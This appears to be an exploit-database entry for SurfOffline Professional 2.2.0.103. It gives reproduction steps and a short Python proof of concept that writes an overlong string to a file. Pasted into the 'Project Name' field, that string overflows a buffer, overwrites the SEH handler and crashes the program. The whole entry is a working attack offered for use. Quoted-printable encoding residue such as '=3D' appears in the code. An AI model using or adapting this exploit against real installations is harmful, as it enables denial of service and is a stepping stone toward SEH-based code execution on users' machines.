SurfOffline Professional 2.2.0.103 – ‘Project Name’ Denial of Service (SEH)
# Exploit Title: SurfOffline Professional 2.2.0.103 - 'Project Name' Denial of Service (SEH) # Date: 2019-12-18 # Exploit Author: Chris Inzinga # Vendor Homepage: http://www.bimesoft.com/ # Software Link: https://www.softpedia.com/get/Internet/Offline-Browsers/SurfOffline.shtml # Version: 2.2.0.103 # Tested on: Windows 7 SP1 (x86) # Steps to reproduce: # 1. Generate a malicious payload via the PoC # 2. In the application set the 'Start Page URL' to any value, it doesn't matter. # 3. Paste the PoC payload as the 'Project Name' and click 'next' and 'finish'. # 4. Observe a program DOS crash, overwriting SEH=20 #!/usr/bin/python payload =3D "A" * 382 + "B" * 4 + "C" * 4 try: fileCreate =3Dopen("exploit.txt","w") print("[x] Creating file") fileCreate.write(payload) fileCreate.close() print("[x] File created") except: print("[!] File failed to be created") |